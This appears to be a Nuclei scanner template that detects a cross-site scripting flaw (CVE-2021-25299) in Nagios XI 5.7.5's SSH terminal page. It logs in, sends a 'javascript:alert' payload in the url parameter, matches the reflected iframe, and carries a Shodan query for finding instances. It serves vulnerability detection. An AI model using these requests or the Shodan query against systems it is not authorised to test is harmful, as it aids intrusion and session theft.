67 lines
2.4 KiB
YAML
67 lines
2.4 KiB
YAML
id: CVE-2021-25299
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info:
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name: Nagios XI 5.7.5 - Cross-Site Scripting
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author: ritikchaddha
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severity: medium
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description: |
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Nagios XI 5.7.5 contains a cross-site scripting vulnerability in the file /usr/local/nagiosxi/html/admin/sshterm.php, due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal session cookies, or it can be chained with the previous bugs to get one-click remote command execution on the Nagios XI server.
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remediation: |
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Upgrade Nagios XI to the latest version or apply the provided patch to fix the XSS vulnerability.
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reference:
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- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md#cve-2021-25299
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- http://nagios.com
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- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
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- https://nvd.nist.gov/vuln/detail/CVE-2021-25299
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- https://assets.nagios.com/downloads/nagiosxi/versions.php
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-25299
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cwe-id: CWE-79
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epss-score: 0.96845
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epss-percentile: 0.99584
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cpe: cpe:2.3:a:nagios:nagios_xi:5.7.5:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 3
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vendor: nagios
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product: nagios_xi
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shodan-query: title:"Nagios XI"
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tags: cve,cve2021,nagios,nagiosxi,xss,authenticated
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http:
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- raw:
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- |
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GET /nagiosxi/login.php HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /nagiosxi/login.php HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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nsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton=
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- |
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GET /nagiosxi/admin/sshterm.php?url=javascript:alert(document.domain) HTTP/1.1
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Host: {{Hostname}}
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cookie-reuse: true
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matchers:
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- type: dsl
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dsl:
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- "contains(header_3, 'text/html')"
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- "status_code_3 == 200"
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- 'contains(body_3, "iframe src=\"javascript:alert(document.domain)") && contains(body_3, "SSH Terminal")'
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condition: and
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extractors:
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- type: regex
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name: nsp
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group: 1
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regex:
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- 'name="nsp" value="(.*)">'
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internal: true
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part: body
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# digest: 4a0a00473045022007fa7b74e5eaa5879df032b5cdc88ba1f08d5a65747e65cf2d84516d7b1e9fed022100b1df3443b637a9fc6dc1abfe2ce8a259626621d2b2fefc2ef1483e8a30977491:922c64590222798bb761d5b6d8e72950
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